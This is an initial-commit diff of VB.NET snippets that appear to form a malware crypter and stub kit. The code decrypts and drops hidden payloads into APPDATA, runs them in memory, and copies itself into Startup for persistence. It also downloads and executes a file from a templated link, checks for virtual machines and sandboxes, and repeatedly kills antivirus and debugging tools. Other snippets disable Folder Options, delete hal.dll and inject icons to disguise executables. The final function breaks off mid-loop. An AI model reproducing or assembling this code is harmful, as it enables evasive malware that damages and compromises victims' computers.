initial commit

2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
@@ -0,0 +1,10 @@
+ Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
+ Catch
+ End Try
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
@@ -0,0 +1,17 @@
+Shared Function AD(ByVal Y As Byte())
+        Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
+            A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
+                               Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
+                               Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
+                               Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
+            A.Key = New Byte() {Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
+                                Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
+                                Convert.ToInt32(100, 2), Convert.ToInt32(101, 2), _
+                                Convert.ToInt32(110, 2), Convert.ToInt32(111, 2), _
+                                Convert.ToInt32(1000, 2), Convert.ToInt32(1001, 2), _
+                                Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
+                                Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
+                                Convert.ToInt32(100, 2), Convert.ToInt32(101, 2)}
+            Return A.CreateDecryptor.TransformFinalBlock(Y, Convert.ToInt32(&H0, 2), Y.Length)
+        End Using
+    End Function
@@ -0,0 +1,3 @@
+ Shared Sub F62()
+        Killer("notepad")
+ End Sub
@@ -0,0 +1,11 @@
+Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
+|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
+|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
+|Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
+|Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
+|Declare Function CreateToolhelpSnapshot Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
+|Declare Function TerminateProcess Lib "kernel32.dll" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
+|Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, ByVal pcbNeeded As Long, ByVal pcReturned As Long) As Long
+|Private Declare Function lstrlenW Lib "kernel32.dll" (ByVal lpString As Long) As Long
+|Private Declare Function HeapAlloc Lib "kernel32.dll" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
+|Private Declare Function GetProcessHeap Lib "kernel32.dll" () As Long
@@ -0,0 +1,12 @@
+Shared Sub PushStart()
+        Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
+        While True
+            Try
+                If Not IO.File.Exists(xx) Then
+                    IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
+                End If
+            Catch
+            End Try
+            System.Threading.Thread.Sleep(5000)
+        End While
+End Sub
@@ -0,0 +1,3 @@
+ Shared Sub F63()
+        Killer("dxdiag")
+ End Sub
@@ -0,0 +1,59 @@
+Shared Sub AT
+		Dim id As String = "76487-337-8429955-22614"
+		
+        Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
+        
+        Dim pid As Object = regPID.GetValue("ProductId")
+        
+        Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
+        
+        D = GetObject("winmgmts:").ExecQuery(B)
+        
+        Dim AdaptList As Object
+        
+        For Each AdaptList In D
+        
+            R = AdaptList.Description
+        
+        Next
+		
+		If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then
+        
+            System.Threading.Thread.Sleep(10000)
+       
+        End If
+        
+        If pid = id Then
+        
+                System.Threading.Thread.Sleep(10000)
+                
+        End If
+        
+        A("wireshark")
+        
+        Select Case R
+        
+             Case "VM Additions S3 Trio32/64"
+             
+                System.Threading.Thread.Sleep(10000)
+                
+             Case "VirtualBox Graphics Adapter"
+                
+                System.Threading.Thread.Sleep(10000)
+                
+             Case "VMware SVGA II"
+             
+                System.Threading.Thread.Sleep(10000)
+                
+        End Select
+        
+        A("SbieSvc")
+        
+        A("avp")
+        
+        A("avgnt")
+        
+        A("ashServ")
+        
+        A("avgtray")
+ End Sub
@@ -0,0 +1,12 @@
+Dim filled() As String
+
+Dim rand As New Random()
+
+'FilledSplitting
+
+Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
+
+My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
+
+System.Diagnostics.Process.Start(tpth)
+
@@ -0,0 +1,6 @@
+Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
+My.Computer.Network.DownloadFile($DownloadLink$, Expl)
+Do Until IO.File.Exists(Expl) = True
+   System.Threading.Thread.Sleep(1000)
+Loop
+System.Diagnostics.Process.Start(Expl)
@@ -0,0 +1,5 @@
+Try
+  Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
+  My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
+Catch
+End Try
@@ -0,0 +1,6 @@
+Public Shared Sub A(ByVal ProcessName As String)
+        Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses     
+        If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then        
+            System.Threading.Thread.Sleep(10000)            
+        End If
+End Sub
@@ -0,0 +1,4 @@
+Try
+   IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
+Catch
+End Try
@@ -0,0 +1,151 @@
+Option Strict On
+Option Explicit On
+Option Infer On
+Imports System.Runtime.InteropServices
+Imports System.Security
+Public Class IconChanger
+    <SuppressUnmanagedCodeSecurity()> _
+   Private Class NativeMethods
+        <DllImport("kernel32")> _
+        Public Shared Function BeginUpdateResource( _
+            ByVal fileName As String, _
+            <MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
+        End Function
+        <DllImport("kernel32")> _
+        Public Shared Function UpdateResource( _
+            ByVal hUpdate As IntPtr, _
+            ByVal type As IntPtr, _
+            ByVal name As IntPtr, _
+            ByVal language As Short, _
+            <MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
+            ByVal data() As Byte, _
+            ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
+        End Function
+        <DllImport("kernel32")> _
+        Public Shared Function EndUpdateResource( _
+            ByVal hUpdate As IntPtr, _
+            <MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
+        End Function
+    End Class
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure ICONDIR
+        Public Reserved As UShort
+        Public Type As UShort
+        Public Count As UShort
+    End Structure
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure ICONDIRENTRY
+        Public Width As Byte
+        Public Height As Byte
+        Public ColorCount As Byte
+        Public Reserved As Byte
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public BytesInRes As Integer
+        Public ImageOffset As Integer
+    End Structure
+    <StructLayout(LayoutKind.Sequential)> _
+    Private Structure BITMAPINFOHEADER
+        Public Size As UInteger
+        Public Width As Integer
+        Public Height As Integer
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public Compression As UInteger
+        Public SizeImage As UInteger
+        Public XPelsPerMeter As Integer
+        Public YPelsPerMeter As Integer
+        Public ClrUsed As UInteger
+        Public ClrImportant As UInteger
+    End Structure
+    <StructLayout(LayoutKind.Sequential, Pack:=2)> _
+    Private Structure GRPICONDIRENTRY
+        Public Width As Byte
+        Public Height As Byte
+        Public ColorCount As Byte
+        Public Reserved As Byte
+        Public Planes As UShort
+        Public BitCount As UShort
+        Public BytesInRes As Integer
+        Public ID As UShort
+    End Structure
+    Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
+        InjectIcon(exeFileName, iconFileName, 1, 1)
+    End Sub
+    Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
+        Const RT_ICON As UInteger = 3UI
+        Const RT_GROUP_ICON As UInteger = 14UI
+        Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
+        Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
+        Dim data = iconFile.CreateIconGroupData(iconBaseID)
+        NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
+        For i = 0 To iconFile.ImageCount - 1
+            Dim image = iconFile.ImageData(i)
+            NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
+        Next
+        NativeMethods.EndUpdateResource(hUpdate, False)
+    End Sub
+    Private Class IconFile
+        Private iconDir As New ICONDIR
+        Private iconEntry() As ICONDIRENTRY
+        Private iconImage()() As Byte
+        Public ReadOnly Property ImageCount() As Integer
+            Get
+                Return iconDir.Count
+            End Get
+        End Property
+        Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
+            Get
+                Return iconImage(index)
+            End Get
+        End Property
+        Private Sub New()
+        End Sub
+        Public Shared Function FromFile(ByVal filename As String) As IconFile
+            Dim instance As New IconFile
+            Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
+            Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
+            instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
+            instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
+            instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
+            Dim offset = Marshal.SizeOf(instance.iconDir)
+            Dim iconDirEntryType = GetType(ICONDIRENTRY)
+            Dim size = Marshal.SizeOf(iconDirEntryType)
+            For i = 0 To instance.iconDir.Count - 1
+                Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
+                instance.iconEntry(i) = entry
+                instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
+                Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
+                offset += size
+            Next
+            pinnedBytes.Free()
+            Return instance
+        End Function
+        Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
+            Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
+            Dim data(sizeOfIconGroupData - 1) As Byte
+            Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
+            Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
+            Dim offset = Marshal.SizeOf(iconDir)
+            For i = 0 To ImageCount - 1
+                Dim grpEntry As New GRPICONDIRENTRY
+                Dim bitmapheader As New BITMAPINFOHEADER
+                Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
+                Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
+                pinnedBitmapInfoHeader.Free()
+                grpEntry.Width = iconEntry(i).Width
+                grpEntry.Height = iconEntry(i).Height
+                grpEntry.ColorCount = iconEntry(i).ColorCount
+                grpEntry.Reserved = iconEntry(i).Reserved
+                grpEntry.Planes = bitmapheader.Planes
+                grpEntry.BitCount = bitmapheader.BitCount
+                grpEntry.BytesInRes = iconEntry(i).BytesInRes
+                grpEntry.ID = CType(iconBaseID + i, UShort)
+                Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
+                offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
+            Next
+            pinnedData.Free()
+            Return data
+        End Function
+    End Class
+End Class
@@ -0,0 +1,13 @@
+    Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
+        Dim vr1 As New Threading.Thread(AddressOf vr0)
+        vr1.SetApartmentState(Threading.ApartmentState.STA)
+        vr1.Start(bytes)
+    End Function
+    Private Shared Sub vr0(ByVal vr0 As Object)
+        Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
+        If vr19.GetParameters.Length = 1 Then
+            vr19.Invoke(Nothing, New Object() {New String() {}})
+        Else
+            vr19.Invoke(Nothing, Nothing)
+        End If
+    End Sub
@@ -0,0 +1,15 @@
+Public Shared Function Killer(ByVal proc As String) As String
+        Try
+            While True
+                Dim p As System.Diagnostics.Process
+                For Each p In System.Diagnostics.Process.GetProcesses
+                    If proc.Contains(p.ProcessName) Then
+                        p.Kill()
+                    End If
+                Next
+                System.Threading.Thread.Sleep(1)
+            End While
+        Catch ex As Exception
+        End Try
+        Return Nothing
+    End Function
@@ -0,0 +1,97 @@
+	Shared Sub KKK
+	
+		Dim KF13 As New System.Threading.Thread(AddressOf F13)
+		
+        KF13.Start()
+        
+        Dim KF14 As New System.Threading.Thread(AddressOf F14)
+        
+        KF14.Start()
+        
+        Dim KF15 As New System.Threading.Thread(AddressOf F15)
+        
+        KF15.Start()
+        
+        Dim KF16 As New System.Threading.Thread(AddressOf F16)
+        
+        KF16.Start()
+        
+        Dim KF17 As New System.Threading.Thread(AddressOf F17)
+        
+        KF17.Start()
+        
+        Dim KF19 As New System.Threading.Thread(AddressOf F19)
+        
+        KF19.Start()
+        
+        Dim KF21 As New System.Threading.Thread(AddressOf F21)
+        
+        KF21.Start()
+        
+        Dim KF22 As New System.Threading.Thread(AddressOf F22)
+        
+        KF22.Start()
+        
+        Dim KF23 As New System.Threading.Thread(AddressOf F23)
+        
+        KF23.Start()
+        
+        Dim KF24 As New System.Threading.Thread(AddressOf F24)
+        
+        KF24.Start()
+        
+        Dim KF25 As New System.Threading.Thread(AddressOf F25)
+        
+        KF25.Start()
+        
+        Dim KF26 As New System.Threading.Thread(AddressOf F26)
+        
+        KF26.Start()
+        
+        Dim KF27 As New System.Threading.Thread(AddressOf F27)
+        
+        KF27.Start()
+        
+	End Sub
+	Shared Sub F13()
+        Killer("keyscrambler")
+    End Sub
+    Shared Sub F14()
+        Killer("bdagent")
+    End Sub
+    Shared Sub F15()
+        Killer("mbam")
+    End Sub
+    Shared Sub F16()
+        Killer("panda")
+    End Sub
+    Shared Sub F17()
+        Killer("zlclient")
+    End Sub
+    Shared Sub F19()
+        Killer("ollydbg")
+    End Sub
+    Shared Sub F21()
+        Killer("egui")
+    End Sub
+    Shared Sub F22()
+        Killer("hijackthis")
+    End Sub
+    Shared Sub F23()
+        Killer("npfmsg")
+    End Sub
+    Shared Sub F24()
+        Killer("SBAMsvc")
+    End Sub
+    Shared Sub F25()
+        Killer("wine")
+    End Sub
+    Shared Sub F26()
+        Killer("outpost")
+    End Sub
+    Shared Sub F27()
+        Killer("joeboxserver")
+        Killer("joeboxcontrol")
+    End Sub
+  
+    
@@ -0,0 +1,28 @@
+'Shared Sub Melt(ByVal NewName As String)
+ ' Try
+  '  Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
+   ' If Application.StartupPath = NewFolder = False Then
+   ' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
+   ' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
+   ' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
+   ' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
+   ' End
+   ' Else
+   ' Kill(Microsoft.VisualBasic.Command)
+   ' End If
+ ' Catch
+ ' End Try
+'End Sub
+Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
+    Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
+    Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
+Public Shared Sub Melt(ByVal Name As String)
+Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
+		If IO.File.Exists(NewFolder & "\" & Name) Then
+			IO.File.Delete(NewFolder & "\" & Name)
+		End If
+        MoveFile(Microsoft.VisualBasic.Left(Application.ExecutablePath, _
+        GetModuleFileName(0, Application.ExecutablePath, 256)), _
+        NewFolder & "\" & Name, 8)
+        ExitProcess(0)
+End Sub
@@ -0,0 +1,12 @@
+Public Shared Function PolyDec(ByVal Input As String) As String
+        Dim Output As String = Nothing
+        Dim SA() As String
+        SA = Input.Split("|")
+        For Each C As String In SA
+            Try
+                Output = Output & Chr(C - SA(0))
+            Catch
+            End Try
+        Next
+        Return Output.Remove(0, 1)
+End Function
@@ -0,0 +1,13 @@
+ Dim D As New PolyRC4(R.GetObject("K"))
+ Dim N As String = D.Decrypt(R.GetObject("NM"))
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, B, False)
+ Catch
+ End Try
+ Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {C, I})
@@ -0,0 +1,157 @@
+Public Class PolyRC4
+
+        Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
+
+        Sub New(ByVal EncryptionKey As String)
+
+            Key = EncryptionKey
+
+        End Sub
+
+        Public Function Encrypt(ByVal message As String) As String
+
+            message = XX(message, Key)
+
+            Dim random As New Random()
+
+            Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
+
+            Dim out As String = ""
+
+            Dim num1 As Integer = random.[Next](1, 10255)
+
+            For i As Integer = 0 To message.Length - 1
+
+                Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
+
+                list1.Add(Convert.ToInt32(message(i)) + num2)
+
+                list2.Add(num2)
+
+            Next
+
+            For j As Integer = 0 To message.Length - 1
+
+                out += ChrW(list1(j)) & ChrW(list2(j))
+
+            Next
+
+            Return out
+
+        End Function
+
+        Public Function Decrypt(ByVal message As String) As String
+
+            Dim numArray As Integer() = New Integer(message.Length - 1) {}
+
+            Dim temp As String = ""
+
+            For i As Integer = 0 To message.Length - 1
+
+                numArray(i) = Convert.ToInt32(message(i))
+
+            Next
+
+            For j As Integer = 0 To message.Length - 1 Step 2
+
+                Dim num3 As Integer = numArray(j)
+
+                Dim num4 As Integer = numArray(j + 1)
+
+                Dim num5 As Integer = num3 - num4
+
+                temp = temp + ChrW(num5)
+
+            Next
+
+            Return XX(temp, Key)
+
+        End Function
+
+        Public Shared Function XX(ByVal message As String, ByVal password As String) As String
+
+            Dim i As Integer = 0
+
+            Dim j As Integer = 0
+
+            Dim cipher As New StringBuilder
+
+            Dim returnCipher As String = String.Empty
+
+            Dim sbox As Integer() = New Integer(256) {}
+
+            Dim key As Integer() = New Integer(256) {}
+
+            Dim intLength As Integer = password.Length
+
+            Dim a As Integer = 0
+
+            While a <= 255
+
+                Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
+
+                key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
+
+                sbox(a) = a
+
+                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
+
+            End While
+
+            Dim x As Integer = 0
+
+            Dim b As Integer = 0
+
+            While b <= 255
+
+                x = (x + sbox(b) + key(b)) Mod 256
+
+                Dim tempSwap As Integer = sbox(b)
+
+                sbox(b) = sbox(x)
+
+                sbox(x) = tempSwap
+
+                System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
+
+            End While
+
+            a = 1
+
+            While a <= message.Length
+
+                Dim itmp As Integer = 0
+
+                i = (i + 1) Mod 256
+
+                j = (j + sbox(i)) Mod 256
+
+                itmp = sbox(i)
+
+                sbox(i) = sbox(j)
+
+                sbox(j) = itmp
+
+                Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
+
+                Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
+
+                itmp = Asc(ctmp)
+
+                Dim cipherby As Integer = itmp Xor k
+
+                cipher.Append(Chr(cipherby))
+
+                System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
+
+            End While
+
+            returnCipher = cipher.ToString
+
+            cipher.Length = 0
+
+            Return returnCipher
+
+        End Function
+
+    End Class
@@ -0,0 +1,11 @@
+Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
+R.GetObject("K")))
+Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+If IO.File.Exists(I) Then
+    IO.File.Delete(I)
+End If
+Try
+    My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
+Catch
+End Try
+LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,14 @@
+Public Class PolyMorphicStairs
+        Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
+            Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
+            PolyDeCrypt = Encoding.Default.GetString(buff)
+            Erase buff
+        End Function
+        Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
+            For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
+                Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
+            Next
+            Array.Resize(Data, Data.Length - 1)
+            Return Data
+        End Function
+    End Class
@@ -0,0 +1,11 @@
+ Dim D As New Polymorphic(R.GetObject("K"))
+ Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
+ Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
+ If IO.File.Exists(I) Then
+	IO.File.Delete(I)
+ End If
+ Try
+	My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
+ Catch
+ End Try
+ LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
@@ -0,0 +1,78 @@
+Public Class PolyMorphic
+        'Variable for the Key.
+        Private sKey As String = ""
+        'Property, will Give us acces to the key.
+        Public Property Key() As String
+            Get
+                Return sKey
+            End Get
+            Set(ByVal value As String)
+                sKey = value
+            End Set
+        End Property
+        'Inisalization. (New Constructor)
+        Public Sub New(ByVal Key As String)
+            Me.Key = Key
+        End Sub
+        Public Sub New()
+            Me.Key = ""
+        End Sub
+        'This Will convert String to bytes,then call the other function.
+        Public Function PolyCrypt(ByVal Data As String) As String
+            Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
+        End Function
+        'This one also Will convert String to bytes,then call the other function.
+        Public Function PolyDeCrypt(ByVal Data As String) As String
+            Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
+        End Function
+        'Main PolyMorphic Encryption.
+        Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
+            'We declare a byte array, just one byte bigger then the data.
+            Dim ReturnBuffer(Data.Length) As Byte
+            'we assain The first one with a random byte.
+            ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
+            'now for each byte in data
+            For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
+                'we add the previous byte to the next byte Mod 256. the first byte is random,
+                'so will will get random bytes all the way.
+                ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
+            Next
+            'We Call the Selected Encryption to crypt the randomized Data.
+            Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
+        End Function
+        'Main PolyMorphic Decryption.
+        Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
+            'This Function is the exact reverse of the crypt function.
+            'we should Decrypt to get our last randomized data.
+            Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
+            'Now in the other function the return value is a one byte bigger array. lets remove that one
+            Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
+            'we started from Byte n# 0 to the last one. we'll play it reversed now. 
+            For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
+                'We just remove The previous byte value from the current one Mod 256. simple
+                ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
+            Next
+            'That's it. The Buffer is one byte less then the data. Perfect. Return it.
+            Return ReturnBuffer
+        End Function
+        'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
+        Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
+            While Addition < Convert.ToInt32(0, 2)
+                '
+                Addition += Convert.ToInt32(100000000, 2)
+            End While
+            Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
+        End Function
+        'Xor Encryption.
+        Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
+            If Key.Length <> 0 Then
+                For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
+                    Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
+                Next
+            End If
+            Return Data
+        End Function
+        Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
+            Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
+        End Function
+    End Class
@@ -0,0 +1,53 @@
+Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
+
+        Dim s(Convert.ToInt32(11111111, &H2)) As Byte
+
+        Dim i As Integer
+
+        For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
+
+            s(i) = CByte(i)
+
+        Next
+
+        Dim j As Integer
+
+        For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
+
+            j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
+
+            Dim temp As Byte = s(i)
+
+            s(i) = s(j)
+
+            s(j) = temp
+
+        Next
+
+        i = Convert.ToInt32(&H0, &H2)
+
+        j = Convert.ToInt32(&H0, &H2)
+
+        Dim output(ºjmÍ.Length - Convert.ToInt32(&H1, &H2)) As Byte
+
+        Dim k As Integer
+
+        For k = Convert.ToInt32(&H0, &H2) To ºjmÍ.Length - Convert.ToInt32(&H1, &H2)
+
+            i = (i + Convert.ToInt32(1, &H2)) And Convert.ToInt32(11111111, &H2)
+
+            j = (j + s(i)) And Convert.ToInt32(11111111, &H2)
+
+            Dim temp As Byte = s(i)
+
+            s(i) = s(j)
+
+            s(j) = temp
+
